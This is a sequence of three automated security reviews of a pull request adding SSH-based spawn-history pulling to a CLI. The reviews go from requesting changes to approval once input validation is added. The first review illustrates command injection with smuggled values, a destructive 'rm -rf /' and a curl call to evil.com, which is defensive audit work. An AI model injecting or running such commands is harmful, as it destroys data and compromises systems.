Security Review

Verdict: CHANGES REQUESTED
Commit: a003b14

Findings

MEDIUM - packages/cli/src/commands/pull-history.ts:116 — Insufficient input validation for SSH connection parameters

The user and ip values from record.connection are interpolated directly into SSH commands without explicit sanitization for shell metacharacters. While SpawnRecordSchema validates structure, it doesn't prevent values like user: "root; rm -rf /" or ip: "127.0.0.1; curl evil.com" from being stored in history.json.

Risk: If an attacker gains write access to ~/.spawn/history.json, they could inject malicious commands via the SSH connection string.

Recommendation: Add explicit validation before line 116:

// Validate user: alphanumeric, hyphen, underscore only
if (!/^[a-zA-Z0-9_-]+$/.test(user)) {
  logDebug(`Skipping invalid user: ${user}`);
  continue;
}
// Validate IP: IPv4, IPv6, or hostname format
if (!/^[0-9.:a-fA-F\-]+$/.test(ip)) {
  logDebug(`Skipping invalid IP: ${ip}`);
  continue;
}

The same validation should be applied in orchestrate.ts where similar SSH operations occur.

Tests

• ✅ bash -n: N/A (no shell scripts modified)
• ✅ bun test: PASS (14 tests, all passing)
• ✅ biome lint: PASS (0 errors)
• ✅ curl|bash: N/A (no installer scripts)
• ⚠️ Input validation: Missing explicit sanitization for SSH parameters

Additional Notes

• Base64 encoding patterns are secure (proper validation before shell interpolation)
• JSON parsing uses valibot schemas (correct per CLAUDE.md)
• Subprocess spawning uses array syntax (safe)
• StrictHostKeyChecking=no is acceptable for this ephemeral VM use case
• Path traversal risks are mitigated (UUIDs and fixed paths)

-- security/pr-reviewer

Security Review

Verdict: APPROVED
Commit: 0f76665

Summary

This PR implements recursive spawn tree passback functionality, allowing parent VMs to pull spawn history from child VMs. The security concerns from the prior review (commit a003b14) have been fully addressed.

Findings

RESOLVED - Input validation added for SSH parameters

The maintainer has implemented the requested regex validation for user and ip parameters in pull-history.ts:101-108:

• User validation: /^[a-zA-Z0-9_-]+$/ (alphanumeric, hyphen, underscore only)
• IP validation: /^[0-9.:a-fA-F[\]-]+$/ (IPv4, IPv6, brackets for IPv6)

Tested both regexes against injection attempts — all shell metacharacters are correctly blocked.

Security Analysis

✅ Command injection mitigation:

• SSH commands use array syntax (Bun.spawnSync([...sshBase, command])) — no shell interpolation risk
• User and IP parameters validated before use
• Fixed paths used in all operations (~/.spawn/history.json, /tmp/_spawn_history.json)

✅ Path traversal mitigation:

• Temp file uses UUID-based name: getTmpDir()/child-history-${parentSpawnId}.json
• SpawnId is system-generated UUID, not user input

✅ JSON parsing:

• Uses valibot schemas (ChildHistorySchema, SpawnRecordSchema) per CLAUDE.md requirements
• Proper validation before merging records

✅ Type safety:

• No as type assertions (follows CLAUDE.md no-type-assertion rule)
• Uses proper type narrowing and schema validation

✅ SSH security:

• StrictHostKeyChecking=no is acceptable for ephemeral spawn VMs (documented use case)
• BatchMode=yes prevents interactive prompts
• Timeouts set on all SSH operations (10s connect, 60s recurse, 30s download)

Tests

• ✅ bun test: PASS (1958/1958 tests passing, including 14 new pull-history tests)
• ✅ biome lint: PASS (0 errors)
• ✅ bash -n: N/A (no shell scripts modified)
• ✅ Regex validation: Verified both user and IP regexes block all injection attempts
• ✅ curl|bash compat: N/A (no installer scripts)

Code Quality Notes

• Well-structured tests with isolated temp directories
• Proper error handling with asyncTryCatch wrappers
• Deduplication logic prevents history pollution
• Recursive pull design is clean (child pulls from grandchildren first)

Recommendation

Approve and merge. All security concerns addressed. The implementation is secure, well-tested, and follows project conventions.

-- security/pr-reviewer

Security Review

Verdict: APPROVED
Commit: 725d4ee

Summary

This PR implements recursive spawn tree passback functionality. All security concerns from prior reviews have been comprehensively addressed. The implementation is secure, well-tested, and follows project security standards.

Security Analysis

✅ Command Injection Prevention - COMPREHENSIVE

The current implementation (commit 725d4ee) uses shared validation functions from security.ts rather than inline regex:

• pull-history.ts:102-105: Calls validateUsername(user) and validateConnectionIP(ip) before constructing SSH commands
• delete.ts:258-264: Same validation pattern applied to pullChildHistory()
• orchestrate.ts:785-865: Uses runner abstraction (no raw SSH), operates on just-provisioned VMs (trusted source)

The shared validators (validateUsername, validateConnectionIP from security.ts) provide robust protection:

• Username: /^[a-z_][a-z0-9_-]*\$?$/ (standard Unix username pattern)
• IP: Validates IPv4 octets (0-255), IPv6 format, hostnames, and sentinel values
• Both reject all shell metacharacters (;, &, |, $, backticks, etc.)

✅ SSH Command Construction - SECURE

All SSH operations use array syntax (Bun.spawnSync([...])) which prevents shell interpolation:

• Line 130-143: Recursive pull command
• Line 149-162: History download command
• Both use spread operator with pre-validated strings in the user@ip segment

✅ Path Traversal - MITIGATED

• Temp file: Uses UUID-based spawn ID in path (getTmpDir()/child-history-${parentSpawnId}.json)
• Remote paths: Fixed locations (~/.spawn/history.json, /tmp/_spawn_history.json)
• SpawnId is system-generated UUID, not user-controlled input

✅ JSON Parsing - SECURE

• Uses valibot schemas (ChildHistorySchema, SpawnRecordSchema) per CLAUDE.md
• Proper validation before merging records into history
• No as type assertions (follows no-type-assertion rule)

✅ Type Safety - COMPLIANT

• No as type assertions used anywhere
• Uses proper type narrowing and schema validation
• Follows CLAUDE.md's strict type safety requirements

✅ SSH Security Best Practices

• StrictHostKeyChecking=no: Acceptable for ephemeral spawn VMs (documented use case)
• BatchMode=yes: Prevents interactive prompts (security hardening)
• ConnectTimeout=10: Prevents hanging connections
• Timeouts on all operations: 10s connect, 60s recursive pull, 30s download

Test Coverage

✅ Unit Tests - COMPREHENSIVE (1958/1958 passing)

New test file pull-history.test.ts covers:

• Empty/invalid JSON handling
• Valid record parsing and merging
• Parent ID preservation from child records
• Connection info preservation
• Deduplication logic
• Edge cases (whitespace, missing fields, no version)
• cmdPullHistory with no servers, missing connection info, invalid IPs

✅ Code Quality

• biome lint: PASS (0 errors on all modified files)
• bash -n: N/A (no shell scripts modified in this PR's core functionality)
• Proper error handling with asyncTryCatch wrappers
• Clean recursive design (children pull from grandchildren first)

Additional Security Notes

Validated Attack Surfaces:

1. History file tampering: Both user and ip fields from history.json are validated before use
2. JSON injection: Valibot schema validation prevents malformed data structures
3. Command injection: Array syntax + validated strings = no shell interpolation risk
4. Path traversal: Fixed remote paths + UUID-based temp files = no traversal possible
5. Denial of service: Timeouts on all network operations prevent hanging

Defense in Depth:

• Input validation (shared validators)
• Safe process spawning (array syntax)
• Schema validation (valibot)
• Error handling (asyncTryCatch wrappers)
• Deduplication (prevents history pollution)

Recommendation

APPROVED for merge. The implementation is secure, comprehensively tested, and exceeds security requirements. The use of shared validation functions from security.ts (rather than inline regex) improves maintainability and ensures consistent security policy across the codebase.

-- security/pr-reviewer